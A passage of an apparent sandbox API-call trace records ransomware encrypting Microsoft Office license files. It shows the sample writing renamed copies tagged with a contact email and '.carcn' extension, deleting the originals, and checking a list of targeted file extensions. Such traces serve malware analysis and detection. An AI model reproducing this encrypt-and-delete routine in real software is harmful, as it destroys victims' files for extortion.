(hFile=0x4a0) returned 1 [0285.210] CloseHandle (hObject=0x4a0) returned 1 [0285.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0285.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.661] lstrlenW (lpString=".doc") returned 4 [0285.662] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".docx") returned 5 [0285.662] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.662] lstrlenW (lpString=".pdf") returned 4 [0285.662] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".xls") returned 4 [0285.662] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".xlsx") returned 5 [0285.662] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.662] lstrlenW (lpString=".ppt") returned 4 [0285.662] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.662] lstrlenW (lpString=".zip") returned 4 [0285.662] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".rar") returned 4 [0285.662] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".bz2") returned 4 [0285.662] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString=".7z") returned 3 [0285.662] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.662] lstrlenW (lpString=".dbf") returned 4 [0285.662] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.662] lstrlenW (lpString=".1cd") returned 4 [0285.662] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.663] lstrlenW (lpString=".jpg") returned 4 [0285.663] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.663] lstrlenW (lpString=".doc") returned 4 [0285.663] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".docx") returned 5 [0285.663] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.663] lstrlenW (lpString=".pdf") returned 4 [0285.663] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".xls") returned 4 [0285.663] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".xlsx") returned 5 [0285.663] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.663] lstrlenW (lpString=".ppt") returned 4 [0285.663] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.663] lstrlenW (lpString=".zip") returned 4 [0285.663] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".rar") returned 4 [0285.663] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".bz2") returned 4 [0285.663] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.663] lstrlenW (lpString=".7z") returned 3 [0285.664] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.664] lstrlenW (lpString=".dbf") returned 4 [0285.664] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.664] lstrlenW (lpString=".1cd") returned 4 [0285.664] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0285.664] lstrlenW (lpString=".jpg") returned 4 [0285.664] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.664] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.664] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0285.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.665] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11674) returned 1 [0285.665] CloseHandle (hObject=0x550) returned 1 [0285.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0285.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.666] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.666] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.667] GetLastError () returned 0x0 [0285.667] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0285.669] WriteFile (in: hFile=0x528, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0285.670] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.670] WriteFile (in: hFile=0x528, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x130, lpOverlapped=0x0) returned 1 [0285.670] SetEndOfFile (hFile=0x528) returned 1 [0285.670] CloseHandle (hObject=0x528) returned 1 [0285.670] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.670] SetEndOfFile (hFile=0x550) returned 1 [0285.674] CloseHandle (hObject=0x550) returned 1 [0285.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0285.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.683] lstrlenW (lpString=".doc") returned 4 [0285.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".docx") returned 5 [0285.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.684] lstrlenW (lpString=".pdf") returned 4 [0285.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".xls") returned 4 [0285.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".xlsx") returned 5 [0285.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.684] lstrlenW (lpString=".ppt") returned 4 [0285.684] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.684] lstrlenW (lpString=".zip") returned 4 [0285.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".rar") returned 4 [0285.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".bz2") returned 4 [0285.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString=".7z") returned 3 [0285.684] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.684] lstrlenW (lpString=".dbf") returned 4 [0285.684] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.684] lstrlenW (lpString=".1cd") returned 4 [0285.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.685] lstrlenW (lpString=".jpg") returned 4 [0285.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.685] lstrlenW (lpString=".doc") returned 4 [0285.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".docx") returned 5 [0285.685] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.685] lstrlenW (lpString=".pdf") returned 4 [0285.685] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".xls") returned 4 [0285.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".xlsx") returned 5 [0285.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.685] lstrlenW (lpString=".ppt") returned 4 [0285.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.685] lstrlenW (lpString=".zip") returned 4 [0285.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".rar") returned 4 [0285.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".bz2") returned 4 [0285.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.685] lstrlenW (lpString=".7z") returned 3 [0285.686] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.686] lstrlenW (lpString=".dbf") returned 4 [0285.686] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.686] lstrlenW (lpString=".1cd") returned 4 [0285.686] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0285.686] lstrlenW (lpString=".jpg") returned 4 [0285.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.686] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.686] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0285.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.687] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21917) returned 1 [0285.687] CloseHandle (hObject=0x550) returned 1 [0285.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0285.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.688] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.688] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.689] GetLastError () returned 0x0 [0285.689] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x559d, lpOverlapped=0x0) returned 1 [0285.691] WriteFile (in: hFile=0x528, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0285.693] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.693] WriteFile (in: hFile=0x528, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0285.693] SetEndOfFile (hFile=0x528) returned 1 [0285.693] CloseHandle (hObject=0x528) returned 1 [0285.693] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.694] SetEndOfFile (hFile=0x550) returned 1 [0285.891] CloseHandle (hObject=0x550) returned 1 [0285.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0285.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.893] lstrlenW (lpString=".doc") returned 4 [0285.893] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".docx") returned 5 [0285.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.893] lstrlenW (lpString=".pdf") returned 4 [0285.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".xls") returned 4 [0285.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".xlsx") returned 5 [0285.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.893] lstrlenW (lpString=".ppt") returned 4 [0285.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.893] lstrlenW (lpString=".zip") returned 4 [0285.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".rar") returned 4 [0285.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".bz2") returned 4 [0285.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.893] lstrlenW (lpString=".7z") returned 3 [0285.893] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.893] lstrlenW (lpString=".dbf") returned 4 [0285.894] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.894] lstrlenW (lpString=".1cd") returned 4 [0285.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.894] lstrlenW (lpString=".jpg") returned 4 [0285.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.894] lstrlenW (lpString=".doc") returned 4 [0285.894] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString=".docx") returned 5 [0285.894] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.894] lstrlenW (lpString=".pdf") returned 4 [0285.894] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString=".xls") returned 4 [0285.894] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString=".xlsx") returned 5 [0285.894] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.894] lstrlenW (lpString=".ppt") returned 4 [0285.894] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.894] lstrlenW (lpString=".zip") returned 4 [0285.894] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.894] lstrlenW (lpString=".rar") returned 4 [0285.894] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.895] lstrlenW (lpString=".bz2") returned 4 [0285.895] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.895] lstrlenW (lpString=".7z") returned 3 [0285.895] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.895] lstrlenW (lpString=".dbf") returned 4 [0285.895] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.895] lstrlenW (lpString=".1cd") returned 4 [0285.895] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0285.895] lstrlenW (lpString=".jpg") returned 4 [0285.895] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.895] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.895] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0285.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.896] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11637) returned 1 [0285.896] CloseHandle (hObject=0x550) returned 1 [0285.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0285.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.897] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.897] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0285.898] GetLastError () returned 0x0 [0285.898] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d75, lpOverlapped=0x0) returned 